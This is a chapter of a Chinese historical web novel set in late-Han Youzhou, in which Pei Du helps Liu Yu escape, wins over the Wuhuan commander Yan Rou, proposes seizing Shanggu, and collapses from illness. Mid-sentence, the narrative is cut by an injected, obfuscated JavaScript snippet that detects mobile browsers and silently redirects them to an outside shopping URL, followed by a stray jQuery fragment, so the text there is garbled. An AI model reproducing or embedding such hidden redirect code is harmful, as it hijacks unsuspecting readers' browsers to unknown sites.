初平四年秋,公孙瓒诬陷刘虞欲称尊号,想要以此为名胁迫天子使者于蓟县东郊斩杀刘虞。徙囚途中为乌桓骑兵要击,刘虞亦被救走。
公孙瓒本欲追之,却闻乌桓校尉兵临蓟城,似有攻其不备乘虚而入之意,只得匆匆返回。
及回城,方知所谓攻城者不过数百人,且一击即退。
公孙瓒大怒,举重兵追之。
却说裴渡与刘虞一行舍弃步卒,一路亡至湿余水。正欲渡河,忽见河畔的疏林间转出一队骑卒来。
裴渡一眼望去,只见那军阵浩浩荡荡,有如大片乌涛飞快地卷过来。
“不是田从事。”她分辨了片刻,肃着面容判断道。
前有伏骑,后有追兵。面对蜿蜒曲流的秋水与汀渚间随风而动的黄芦,刘虞长叹道:“可见是天要亡我啊。”
就在这时,那队骑卒忽然停下了。
裴渡迅速估量着双方的距离。
三百步,大约是寻常弩机射距的极限。
但不是她的极限。
她看着对方御马而出的将领,修长的手指悄悄伸向了腰间。
那个将领的兜鍪上围着一圈胡将特有的貂毛。他没有完全突出骑队,只是带着燕地口音喊问:“前面可是刘州牧?”
裴渡正要答话,就听刘虞在一旁喜道:“这声音是阎伯和的!”
说罢,他下意识地看向了裴渡。眼见她点了头,他也提高了声音:“有劳伯和,是我!”
那将领大喜,独自一人驱马上前了。
裴渡也抬手让后面的兵卒放下弓弩。
阎柔于马上向刘虞行了便礼,相互寒暄了几句。待看向裴渡时,他的眼神中明显带着惊异,“这就是子泰提到的裴君吧?”
裴渡也在观察着这位传说中的乌桓校尉。也许是常年骑马的缘故,此人裹在收口胡袴里的双腿比寻常汉人要长,且肩宽背阔,体格高大。往上看,那双豹眼所在之处端的是汉人骨相,但面容粗粝,显然是常年面对塞外的风沙。
裴渡揖道:“渡见过阎将军。”
她旋即又道:“此地不宜久留,有什么话还请在路上说。”
阎柔重新整合了队伍,将刘虞诸人护在中间,渡过湿余水继续向西北去。
阎伯和御马冲在最前面。
裴渡一夹马腹,追上去与他并驱。
阎柔偏过头看了看这个文文弱弱的郎君,不由赞道:“裴君看着不像是我们这种常年待在边塞的人,能有这样的骑术也是难得!”
裴渡笑道:“渡早就仰慕将军威名,想不到今日竟有与将军并驱的荣幸!”
阎柔本是乌桓鲜卑的俘虏,后来杀害了汉廷敕封的乌桓校尉自己取而代之,因而大部分士族高门都不太待见他,也就刘虞秉持着和辑戎狄的态度对他有一些尊重。
是以他乍闻此言只是大笑道:“我不过是一个不胡不汉的边鄙野人罢了。”
裴渡:“将军切莫如此说。这普天之下,能让渡敬佩的也就只有三人,一位是先君卢公,另一位是刘使君,这第三位便是阎将军您了!”
卢植誉名满天下,刘虞更是阎柔敬重之人,裴渡那这二人与他并举,倒也真让阎柔有些高兴了:“柔哪能与他们二位相比,郎君可别戏我。”
裴渡:“将军不知道,渡少时曾是黄巾的俘虏,侥幸为义父收留,如今仍是籍籍无名之辈。想将军居于虎狼间,所遇之险比之渡难逾千倍,却能有如此功绩名望,以至胡汉皆膺附于将军,甚至如今将军甫一招降,幽燕的勇士便能纷纷响应,如此雄略,渡焉能不敬佩?”
阎柔没想到这看上去矜贵的郎君竟与自己有相似的出身,登时添了不少好感。又听她语气真诚,不禁有几分自得:
“这胡人汉人混居一地,看着是相安无事,实际上矛盾可不少。往往是汉人看不起胡人,胡人又仇视汉人,又兼我们幽燕之地民风彪悍,在刘使君入主幽州以前天天都有胡人汉人闹事,闹大了就变成贼乱。”
裴渡叹服道:“要在这种地方领兵,需要的可不仅仅是勇猛啊。”
“可不是,”他一手扯缰一手向裴渡伸出三根指头,“就拿我手头这三千兵将来看吧,其中有一半都是你们口中的的胡骑,刚开始的时候两边儿也斗得狠哪,可是不出半个月,就没人再敢拿这个说事了,现在不管是胡兵还是汉兵,只要发了令他们就会遵从,这些可都不只是会带兵就能做到的啊!”
三千卒。裴渡迅速地捕捉到了她想要的信息。
她又恭维了阎柔几句,话锋一转:“听闻那公孙瓒有十万大军,将军以三千兵马拒之,此非勇略超群者不能为也!”
“可不只这三千人!”阎柔大笑,“实不相瞒,早在子泰借兵之前,我就已经派人去联络乌桓鲜卑各部了,要不了多久便可集兵数万以助刘州牧讨那公孙贼!”
他们一口气奔逃了百里,其间又与撤兵而还的田畴成功汇合。
而公孙瓒不知为何,在他们奔入山区之后便匆匆率大部返回了,只留下小股追兵。而这些仅剩的追兵也在谷中遇到了裴渡等人的伏击,最终全军覆没。
至第二日入夜,一行人终于赶到了阎柔的驻地。阎柔甫一入营,便闻小校来报:“鲜于从事大破渔阳太守邹丹于潞河之北。”
“太好了!”田畴明显有些振奋,“渔阳有鱼盐之饶,又有边胡之利,刘使君尽可以渔阳为基拒御公孙瓒!”
阎柔便问道,“既如此,可是先护送刘使君去渔阳?”
刘虞沉吟片刻,却看向了裴渡:“济川以为呢?”
于是众人便又看向裴渡。
她正屈指抵着太阳穴试图缓解脑袋的钝痛,见众人看过来便放下手笑道:“若是让渡来选,此时不会去渔阳。”
田畴微讶:“为何?”
裴渡:“渔阳固然饶利,然而眼下刘使君获救,公孙瓒追而未及,渔阳又恰好为鲜于从事所复,他一怒之下必定举重兵以取渔阳。以一郡之势孤,恐复陷于贼手。”
于是田畴问道:“那依济川之见应当如何?”
裴渡闭了闭眼,转向阎柔道:“昨日听将军说此地屯兵三千,其中有一半是轻骑?”
阎柔若有所思地看向她:“正是。”
“既如此,使君与将军不妨直取上谷。”裴渡道,“上谷多胡聚之地,又与塞外相邻,若能利用得法,取之应当不难。”
众人都怔了一瞬。
田畴立刻明白过来:“如此便能与鲜于从事一同牵制那公孙瓒。”
裴渡缓缓点头:“此外,若刘使君遣使南下,与冀州袁本初相约共击逆贼,届时公孙瓒腹背受敌,刘使君趁机由北向南收复幽州郡县,则此獠......”
话没说完,她眼前突然一黑,险些坠下马去。
离她最近的田畴眼疾手快地给人扶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688846|207858||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
住,还没说话就被冲上来的卢琰一边道谢一边扒开了。
卢琰在他们说话时一直在不远处紧张地盯着,眼见裴渡情况不对立刻奔了过去,吓得一旁的骑士差点放箭。
“诸君不论要说什么都不妨进帐再谈,”卢琰搀着裴渡的肩面色不善,“此地风大,她本就大病初愈,又为此事奔波往来许久,行军之时还受了伤,如何能......”
“二兄......咳咳......”裴渡一开口喉间就痒,咳了好一会儿才缓缓睁眼,“我无事。”
此刻夜色已沉,又兼之方才几人忙着说事,一时都没有发现裴渡的异样。此刻卢琰举着火把过来扶人,那火光往她脸上一映,他们才发现那个小郎君的面色白得有些吓人。
众人有些惊疑:可她方才侃侃而谈时分明气息平缓,并无半分虚弱之态啊?
四下一时安静,只有秋蝉仍在不合时宜地聒噪着。
裴渡见他们不说话,便扶着马背勉力把自己撑直,笑道:“在下当真无事。”
众人看着那张素缟般的面容,只觉得这句话没有一点说服力。
下一刻,田畴倏然下马,和卢琰一起把裴渡扶了下来。
而刘虞也一脸担忧地下马站过去:“是我考虑不周。”
阎柔抱着手臂没动。
他是常年在马上搏命的,一般而言并不喜欢跟这种病歪歪的世家子打交道。
但他又想起了她在马上的那些话,想起了她那不逊于自己的骑术,想起了她在山谷伏击之时的算无遗策箭无虚发。
直到卢琰扶着裴渡去帐中休息,而田畴也向刘虞行礼告退,辕门处只剩刘虞和阎柔二人,面对黑暗中山野的轮廓默然无语。
秋日多晴夜,方舆之上,载星斗漫天。
“那个裴济川,不像是会甘心待在幽州的。”阎柔悠悠开口,“使君若要用她,可得当心。”
刘虞笑了笑。“我原来觉得,公孙伯圭穷兵黩武,乃是自取灭亡之道。可是这段时日我作为阶下囚想了许多,才发现我还是将汉室的危难想得太过简单了。”
一个兵卒举着火把站在他们身后,是以借着火光,阎柔能够看清身侧上官的鬓角——他上一次见到刘虞的时候它们还是黑的,但现在已经全白了。
这个一向刚毅的猛士终于露出几分不忍,“如果不是您,幽州仍旧盗匪横行,饥民遍地,”他真心道,“您已经做得很好了。”
“若天下不定,只需要几场兵祸,黎庶便会再度陷入涂炭之中。”风吹动刘虞的长髯——像扬起一蓬灰白的枯草,“就此事而言,公孙伯圭的确比我看得长远。”
阎柔急道:“使君!”
“放心,”刘虞抬手拍了拍他的肩膀,“我不会把幽州让给他那样的人的。 ”
“只是这天下的纷争,幽州终究是不能置身于外了。”刘虞看着那些相邻相望的星子,“一州如此,一人更是如此。”
“‘鹤鸣于九皋,声闻于野,’”他叹道,“若她当真是能成大事之人,也的确不该拘于此处。”(注1)
阎柔忍不住去看他的脸,却发现两行浊泪正从那双饱经风霜的眼中缓缓滑下。
“伯和,子正他们一心追随于我,却皆死于我的固执与畏缩。而现在,我又即将给幽州带来战火。”刘虞那双带茧的大手缓缓覆在了脸上,“我实在不算一个好的上官,更不是一个好的州牧。”